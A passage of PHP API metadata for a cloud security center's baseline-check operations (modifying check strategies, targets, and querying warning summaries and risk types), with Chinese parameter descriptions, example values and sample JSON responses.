'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"SceneName\\": \\"SECURITY\\",\\n \\"LowWarningCount\\": 3,\\n \\"MediumWarningCount\\": 29,\\n \\"HighWarningCount\\": 43,\\n \\"TotalCount\\": 219,\\n \\"PassCount\\": 143,\\n \\"SubStatistics\\": [\\n {\\n \\"TypeName\\": \\"weak_password\\",\\n \\"Alias\\": \\"weak_password\\",\\n \\"LowWarningCount\\": 0,\\n \\"MediumWarningCount\\": 0,\\n \\"HighWarningCount\\": 3,\\n \\"TotalCount\\": 5,\\n \\"PassCount\\": 2\\n }\\n ]\\n }\\n ],\\n \\"Count\\": 3,\\n \\"RequestId\\": \\"2C455672-2490-5211-84EC-420C7818****\\",\\n \\"Summary\\": {\\n \\"RiskCheckCnt\\": 1,\\n \\"RiskWarningCnt\\": 5,\\n \\"RiskDays\\": 30,\\n \\"HandledCheckTotal\\": 3,\\n \\"HandledCheckToday\\": 0,\\n \\"HandledDays\\": 365\\n }\\n}","type":"json"}]', + 'title' => '获取基线检查风险项统计信息', + ], + 'ModifyStrategy' => [ + 'summary' => '修改基线检查策略。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.X.X', + ], + ], + [ + 'name' => 'CycleDays', + 'in' => 'query', + 'schema' => [ + 'description' => '修改基线检查的周期。取值：'."\n" + ."\n" + .'- **1**：每隔1天。'."\n" + .'- **3**：每隔3天。'."\n" + .'- **7**：每隔7天。'."\n" + .'- **30**：每隔30天。', + 'type' => 'string', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '修改基线检查策略的名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'testStrategy', + ], + ], + [ + 'name' => 'CycleStartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '修改基线检查开始的时间。取值：'."\n" + ."\n" + .'- **0**：表示基线检查开始时间为0:00~6:00。'."\n" + .'- **6**：表示基线检查开始时间为6:00~12:00。'."\n" + .'- **12**：表示基线检查开始时间为12:00~18:00。'."\n" + .'- **18**：表示基线检查开始时间为18:00~24:00。'."\n" + ."\n" + .'> 此参数作废。', + 'type' => 'string', + 'required' => false, + 'example' => '18', + ], + ], + [ + 'name' => 'RiskSubTypeName', + 'in' => 'query', + 'schema' => [ + 'description' => '查询[DescribeRiskType](~~DescribeRiskType~~)接口获取检测项子类型。', + 'type' => 'string', + 'required' => true, + 'example' => 'hc_exploit_redis', + ], + ], + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '基线策略ID。', + 'type' => 'string', + 'required' => false, + 'example' => '245', + ], + ], + [ + 'name' => 'RiskCustomParams', + 'in' => 'query', + 'schema' => [ + 'description' => '支持自定义基线检查项配置。该值为JSON格式，包含以下参数：'."\n" + ."\n" + .'- **typeName**：基线名称。'."\n" + .'- **checkDetails**：检测详情，该值为JSON格式。'."\n" + ."\n" + .' - **checkId**：检测项编号。'."\n" + .' - **rules**：策略配置，该值为JSON格式。'."\n" + ."\n" + .' - **ruleId**：策略配置编号。'."\n" + .' - **paramList**：策略参数配置集合，该值为JSON格式。'."\n" + ."\n" + .' - **paramName**：参数名称。'."\n" + .' - **value**：参数配置值。'."\n" + ."\n", + 'type' => 'string', + 'required' => false, + 'example' => '[{"typeName":"hc_centos_6_custom","checkDetails":[{"checkId":4,"rules":[{"ruleId":"pass_min_days_login_defs.must.cus","paramList":[{"paramName":"range_val","value":"7"}]}]}]}]', + 'default' => '[]', + ], + ], + [ + 'name' => 'CustomType', + 'in' => 'query', + 'schema' => [ + 'description' => '策略类型。取值：'."\n" + ."\n" + .'- **custom**：自定义策略。'."\n" + .'- **common**：标准策略。', + 'type' => 'string', + 'required' => true, + 'example' => 'common', + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'description' => '策略扫描方式。取值：'."\n" + ."\n" + .'- **groupId**：群组扫描。'."\n" + .'- **uuid**：资产扫描。', + 'type' => 'string', + 'required' => true, + 'example' => 'groupId', + ], + ], + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '策略执行开始的时间。格式为hh:mm:ss。', + 'type' => 'string', + 'required' => true, + 'example' => '00:01:00', + ], + ], + [ + 'name' => 'EndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '策略执行结束时间。格式为hh:mm:ss。', + 'type' => 'string', + 'required' => true, + 'example' => '05:00:00', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '修改基线检查策略返回结果。', + 'type' => 'object', + 'properties' => [ + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n" + ."\n\n", + 'type' => 'string', + 'example' => '8EFA2BD9-00CD-5D69-B6B0-4EE83EAF072E', + ], + 'Success' => [ + 'description' => '接口调用的结果状态。取值：'."\n" + ."\n" + .'- **true**：请求成功。'."\n" + .'- **false**：请求失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Result' => [ + 'description' => '返回结果。', + 'type' => 'object', + 'properties' => [ + 'StrategyId' => [ + 'description' => '策略ID。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '8164239', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"HttpStatusCode\\": 200,\\n \\"RequestId\\": \\"8EFA2BD9-00CD-5D69-B6B0-4EE83EAF072E\\",\\n \\"Success\\": true,\\n \\"Result\\": {\\n \\"StrategyId\\": 8164239\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 200\\n 8EFA2BD9-00CD-5D69-B6B0-4EE83EAF072E\\n 1\\n true\\n \\n 8164239\\n \\n","errorExample":""}]', + 'title' => '修改基线检查策略', + ], + 'ModifyStrategyTarget' => [ + 'summary' => '修改基线检查策略生效的服务器组。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '配置类型。固定取值：**hc_strategy**。', + 'type' => 'string', + 'required' => true, + 'example' => 'hc_strategy', + ], + ], + [ + 'name' => 'Config', + 'in' => 'query', + 'schema' => [ + 'description' => '保存策略返回的策略ID。此参数为JSON格式，必须包含以下字段：'."\n" + ."\n" + .'- **strategyId**：策略ID。'."\n", + 'type' => 'string', + 'required' => true, + 'example' => '{"strategyId":8070645}', + ], + ], + [ + 'name' => 'Target', + 'in' => 'query', + 'schema' => [ + 'description' => '策略配置资产群组。此参数为JSON格式，包含以下参数：'."\n" + ."\n" + .'- **TargetType**：策略生效目标类型固定取值**groupId**，表示按照资产所在分组生效。'."\n" + .'- **BindUuidCount**：绑定机器数量。'."\n" + .'- **Target**：资产分组ID。'."\n" + .'- **Flag**：操作。取值如下：'."\n" + .' - **del**：删除'."\n" + .' - **add**：增加', + 'type' => 'string', + 'required' => true, + 'example' => '[{"Target":"9273980","BindUuidCount":5320,"TargetType":"groupId","Flag":"del"},{"Target":"9677606","TargetType":"groupId","Flag":"del"},{"Target":"10121607","BindUuidCount":7,"TargetType":"groupId","Flag":"add"},{"Target":"10670708","BindUuidCount":2,"TargetType":"groupId","Flag":"del"},{"Target":"11246338","BindUuidCount":6,"TargetType":"groupId","Flag":"del"},{"Target":"11291161","BindUuidCount":13,"TargetType":"groupId","Flag":"del"}]', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0E147337-5B0B-5776-B0B6-D569DBA8F60F', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => '%s %s', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"0E147337-5B0B-5776-B0B6-D569DBA8F60F\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 0E147337-5B0B-5776-B0B6-D569DBA8F60F\\n","errorExample":""}]', + 'title' => '修改基线检查策略生效的服务器组', + ], + 'DescribeCheckWarningSummary' => [ + 'summary' => '查看基线检查的结果统计情况，例如基线检查的服务器数量、基线检查项数量、最近检查通过率等。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '219.133.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'TypeName', + 'in' => 'query', + 'schema' => [ + 'description' => '基线一级类型。'."\n" + .'> 调用[DescribeRiskType](~~DescribeRiskType~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'database', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项状态。取值：'."\n" + .'- **1**：未通过'."\n" + .'- **2**：验证中 '."\n" + .'- **3**：已通过 '."\n" + .'- **5**：已失效 '."\n" + .'- **6**：已忽略', + 'type' => 'string', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'RiskStatus', + 'in' => 'query', + 'schema' => [ + 'description' => '基线检查的状态。取值：'."\n" + .'- **1**：未通过 '."\n" + .'- **3**：已通过', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'RiskName', + 'in' => 'query', + 'schema' => [ + 'description' => '基线检查风险项名称。'."\n" + ."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'Redis', + ], + ], + [ + 'name' => 'StrategyId', + 'in' => 'query', + 'schema' => [ + 'description' => '基线检查策略ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '资产UUID。'."\n" + .'> 调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'f03259d8-1e81-4fae-bcbb-275fb5****', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'c80dae73bd1be442699766b14ffd0****', + ], + ], + [ + 'name' => 'ContainerFieldName', + 'in' => 'query', + 'schema' => [ + 'description' => '容器字段。取值：'."\n" + ."\n" + .'- **clusterId**：集群编号'."\n" + .'- **image**：镜像名称'."\n" + .'- **imageId**：镜像编号'."\n" + .'- **namespace**：命名空间', + 'type' => 'string', + 'required' => false, + 'example' => 'namespace', + ], + ], + [ + 'name' => 'ContainerFieldValue', + 'in' => 'query', + 'schema' => [ + 'description' => '容器字段对应值。', + 'type' => 'string', + 'required' => false, + 'example' => 'c819391d2d520485fa3e81e2dc2ea****', + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'description' => '查询类型。取值：'."\n" + .'- **uuid**：资产ID', + 'type' => 'string', + 'required' => false, + 'example' => 'uuid', + ], + ], + [ + 'name' => 'GroupId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定查询的服务器的分组ID。'."\n" + .'> 您可调用[DescribeAllGroups](~~DescribeAllGroups~~)接口获取服务器的分组ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '123', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '指定返回结果的当前页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '00BD7CE2-284A-4534-BD09-FB69836DD750', + ], + 'TotalCount' => [ + 'description' => '基线检查项的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'Count' => [ + 'description' => '当前页显示的检测项条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'WarningSummarys' => [ + 'description' => '检查项统计明细。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项统计明细。', + 'type' => 'object', + 'properties' => [ + 'LowWarningCount' => [ + 'description' => '低危检查项的个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'CheckCount' => [ + 'description' => '基线检查项个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'MediumWarningCount' => [ + 'description' => '中危检查项的个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'LastFoundTime' => [ + 'description' => '最近执行基线检查的时间。'."\n" + ."\n", + 'type' => 'string', + 'example' => '2019-01-01 12:23:00', + ], + 'RiskId' => [ + 'description' => ' 风险项ID。'."\n", + 'type' => 'integer', + 'format' => 'int64', + 'example' => '118', + ], + 'SubTypeAlias' => [ + 'description' => ' 风险项二级分类。'."\n" + ."\n", + 'type' => 'string', + 'example' => 'Redis', + ], + 'WarningMachineCount' => [ + 'description' => ' 检测出基线风险项的资产的数量。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '11', + ], + 'HighWarningCount' => [ + 'description' => '高危检查项个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'TypeAlias' => [ + 'description' => '基线检查项的分类，例如：数据库、系统、弱密码检测和中间件。'."\n" + ."\n", + 'type' => 'string', + 'example' => 'databases', + ], + 'RiskName' => [ + 'description' => '基线检查风险项名称。'."\n", + 'type' => 'string', + 'example' => 'Redis', + ], + 'Level' => [ + 'description' => ' 基线检查风险项的危险等级。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危'."\n" + ."\n", + 'type' => 'string', + 'example' => 'high', + ], + 'CheckExploit' => [ + 'description' => '可利用性。取值：'."\n" + .'- **true**：可利用'."\n" + .'- **false**：不可利用', + 'type' => 'boolean', + 'example' => 'false', + ], + 'DatabaseRisk' => [ + 'description' => '是否数据库风险项。取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'example' => 'false', + ], + 'ContainerRisk' => [ + 'description' => '基线是否属于容器运行时类别。取值：'."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'example' => 'false', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'ConsoleError', + 'errorMessage' => 'The error message is %s %s.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"RequestId\\": \\"00BD7CE2-284A-4534-BD09-FB69836DD750\\",\\n \\"TotalCount\\": 100,\\n \\"Count\\": 10,\\n \\"WarningSummarys\\": [\\n {\\n \\"LowWarningCount\\": 3,\\n \\"CheckCount\\": 10,\\n \\"MediumWarningCount\\": 2,\\n \\"LastFoundTime\\": \\"2019-01-01 12:23:00\\",\\n \\"RiskId\\": 118,\\n \\"SubTypeAlias\\": \\"Redis\\",\\n \\"WarningMachineCount\\": 11,\\n \\"HighWarningCount\\": 1,\\n \\"TypeAlias\\": \\"databases\\",\\n \\"RiskName\\": \\"Redis\\",\\n \\"Level\\": \\"high\\",\\n \\"CheckExploit\\": false,\\n \\"DatabaseRisk\\": false,\\n \\"ContainerRisk\\": false\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查看基线检查结果统计情况', + ], + 'DescribeRiskType' => [ + 'summary' => '查询基线类型。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92179', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.X.X', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '指定请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '数据来源。取值：'."\n" + .'- **default**：主机基线'."\n" + .'- **agentless**：agentless基线', + 'type' => 'string', + 'required' => false, + 'example' => 'agentless', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F22037B5-FCE4-5178-A9E7-71798E1F9270', + ], + 'RiskTypes' => [ + 'description' => '基线类型信息集合。', + 'type' => 'array', + 'items' => [ + 'description' => '基线类型信息。', + 'type' => 'object', + 'properties' => [ + 'TypeName' => [ + 'description' => '基线类型名称。', + 'type' => 'string', + 'example' => 'hc_exploit', + ], + 'Alias' => [ + 'description' => '基线类型别名。', + 'type' => 'string', + 'example' => 'Redis unauthorized access high exploit vulnerability risk', + ], + 'SubTypes' => [ + 'description' => '基线信息集合。', + 'type' => 'array', + 'items' => [ + 'description' => '基线子类型信息。', + 'type' => 'object', + 'properties' => [ + 'TypeName' => [ + 'description' => '基线子类型名称。', + 'type' => 'string', + 'example' => 'hc_exploit_redis', + ], + 'Alias' => [ + 'description' => '基线子类型别名。', + 'type' => 'string', + 'example' => 'Redis unauthorized access high exploit vulnerability risk', + ], + 'CheckDetails' => [ + 'description' => '基线子类型的检查详情集合。', + 'type' => 'array', + 'items' => [ + 'description' => '基线子类型的检查详情。', + 'type' => 'object', + 'properties' => [ + 'CheckId' => [ + 'description' => '基线子类型的检测项唯一主键。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1299', + ], + 'CheckItem' => [ + 'description' => '基线子类型的检测项。', + 'type' => 'string', + 'example' => 'Ensure password expiration period is set.', + ], + 'CheckDesc' => [ + 'description' => '基线子类型的检测项描述。', + 'type' => 'string', + 'example' => 'Set password expiration time, force regular modification of password, reduce password leakage and guess risk.Use non-password login (e.g. key pair) please ignore this item.', + ], + 'Rules' => [ + 'description' => '基线子类型的检测项规则详情集合。', + 'type' => 'array', + 'items' => [ + 'description' => '基线子类型的检测项规则详情。', + 'type' => 'object', + 'properties' => [ + 'Optional' => [ + 'description' => '基线子类型的检测项是否支持编辑。取值：'."\n" + .'- **0**：否'."\n" + .'- **1**：是', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RuleDesc' => [ + 'description' => '基线子类型的检测项规则描述。', + 'type' => 'string', + 'example' => 'Please customize the password expiration time detection standard as', + ], + 'RuleId' => [ + 'description' => '基线子类型的检测项规则编号。', + 'type' => 'string', + 'example' => 'audit.audit_policy.auditpolicychange.cus', + ], + 'ParamList' => [ + 'description' => '基线子类型的检测项的规则参数集合。', + 'type' => 'array', + 'items' => [ + 'description' => '基线子类型的检测项的规则参数。', + 'type' => 'object', + 'properties' => [ + 'ParamDefaultValue' => [ + 'description' => '自定义检测项支持配置参数的默认值。', + 'type' => 'string', + 'example' => '7', + ], + 'ParamName' => [ + 'description' => '基线子类型的检测项的规则参数名称。', + 'type' => 'string', + 'example' => 'range_val', + ], + 'MaxValue' => [ + 'description' => '基线子类型的检测项的规则参数的最大值。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '999', + ], + 'ParamType' => [ + 'description' => '基线子类型的检测项的规则参数的配置类型。取值：'."\n" + ."\n" + .'- **1**：输入'."\n" + .'- **2**：选择', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ParamDesc' => [ + 'description' => '基线子类型的检测项的规则的参数描述。', + 'type' => 'string', + 'example' => 'The setting value is 0 means no definition, 1 means success, 2 means failure, 3 means success and failure', + ], + 'MinValue' => [ + 'description' => '基线子类型的检测项的规则的参数最小值。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'EnumValue' => [ + 'description' => 'paramType取值为1时，此值为空。'."\n" + .'paramType取值为2时，此值表示可选项。', + 'type' => 'string', + 'example' => '0,1,2,3', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'SupportedOs' => [ + 'description' => '支持的操作系统。取值：'."\n" + ."\n" + .'- **windows**'."\n" + .'- **linux**', + 'type' => 'string', + 'enumValueTitles' => [], + 'example' => 'linux', + ], + 'AuthFlag' => [ + 'description' => '当前用户版本是否有基线的权限。取值：'."\n" + ."\n" + .'- **true**：有权限'."\n" + .'- **false**：无权限', + 'type' => 'boolean', + 'enumValueTitles' => [], + 'example' => 'true', + ], + ], + ], + ], + 'AuthFlag' => [ + 'description' => '当前用户版本是否有分类的权限。取值：'."\n" + ."\n" + .'- **true**：有权限'."\n" + .'- **false**：无权限', + 'type' => 'boolean', + 'enumValueTitles' => [], + 'example' => 'true', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => '%s %s', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => '-100', + 'errorMessage' => 'The service is unavailable, please try again later.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F22037B5-FCE4-5178-A9E7-71798E1F9270\\",\\n \\"RiskTypes\\": [\\n {\\n \\"TypeName\\": \\"hc_exploit\\",\\n \\"Alias\\": \\"Redis unauthorized access high exploit vulnerability risk\\",\\n \\"SubTypes\\": [\\n {\\n \\"TypeName\\": \\"hc_exploit_redis\\",\\n \\"Alias\\": \\"Redis unauthorized access high exploit vulnerability risk\\",\\n \\"CheckDetails\\": [\\n {\\n \\"CheckId\\": 1299,\\n \\"CheckItem\\": \\"Ensure password expiration period is set.\\",\\n \\"CheckDesc\\": \\"Set password expiration time, force regular modification of password, reduce password leakage and guess risk.Use non-password login (e.g. key pair) please ignore this item.\\",\\n \\"Rules\\": [\\n {\\n \\"Optional\\": 1,\\n \\"RuleDesc\\": \\"Please customize the password expiration time detection standard as\\",\\n \\"RuleId\\": \\"audit.audit_policy.auditpolicychange.cus\\",\\n \\"ParamList\\": [\\n {\\n \\"ParamDefaultValue\\": \\"7\\",\\n \\"ParamName\\": \\"range_val\\",\\n \\"MaxValue\\": 999,\\n \\"ParamType\\": 1,\\n \\"ParamDesc\\": \\"The setting value is 0 means no definition, 1 means success, 2 means failure, 3 means success and failure\\",\\n \\"MinValue\\": 1,\\n \\"EnumValue\\": \\"0,1,2,3\\"\\n }\\n ]\\n }\\n ]\\n }\\n ],\\n \\"SupportedOs\\": \\"linux\\",\\n \\"AuthFlag\\": true\\n }\\n ],\\n \\"AuthFlag\\": true\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询基线类型', + ], + 'DescribeCheckWarnings' => [ + 'summary' => '查询指定风险项和指定服务器下的检查项信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '执行基线检查的服务器的ID。'."\n" + ."\n" + .'> 查询指定风险项和指定服务器下的检查项信息，需要提供执行基线检查的服务器的ID，该ID可调用[DescribeWarningMachines](~~DescribeWarningMachines~~)接口获取。', + 'type' => 'string', + 'required' => true, + 'example' => 'd42f938c-d962-48a0-90f9-05****', + ], + ], + [ + 'name' => 'RiskId', + 'in' => 'query', + 'schema' => [ + 'description' => '风险项ID。该参数为必填参数。'."\n" + ."\n" + .'> 查询指定风险项和指定服务器下的检查项信息，需要提供风险项ID，该ID可调用[DescribeCheckWarningSummary](~~DescribeCheckWarningSummary~~)接口获取。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '10354', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的检查项信息的数量。默认值为**20**，表示每页显示20条检查项信息。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'CheckId', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '2546', + ], + ], + [ + 'name' => 'CheckType', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项类型。取值：'."\n" + ."\n" + .'- **hc.check.type.identity_auth**：身份鉴别'."\n" + .'- **hc.check.type.access_control**：访问控制'."\n" + .'- **hc.check.type.network_service**：网络及服务'."\n" + .'- **hc.check.type.service_conf**：服务配置'."\n" + .'- **hc.check.type.file_rights**：文件权限'."\n" + .'- **hc.check.type.security_audit**：安全审计'."\n" + .'- **hc.check.type.attack_defense**：入侵防范'."\n" + .'- **hc.check.type.others**：其他', + 'type' => 'string', + 'required' => false, + 'example' => 'hc.check.type.attack_defense', + ], + ], + [ + 'name' => 'RiskStatus', + 'in' => 'query', + 'schema' => [ + 'description' => '风险检测状态。取值：'."\n" + ."\n" + .'- **1**：未通过'."\n" + .'- **2**：验证中'."\n" + .'- **3**：已通过'."\n" + .'- **5**：已失效'."\n" + .'- **6**：已忽略', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'ContainerName', + 'in' => 'query', + 'schema' => [ + 'description' => '容器名称。', + 'type' => 'string', + 'required' => false, + 'example' => '/redis', + ], + ], + [ + 'name' => 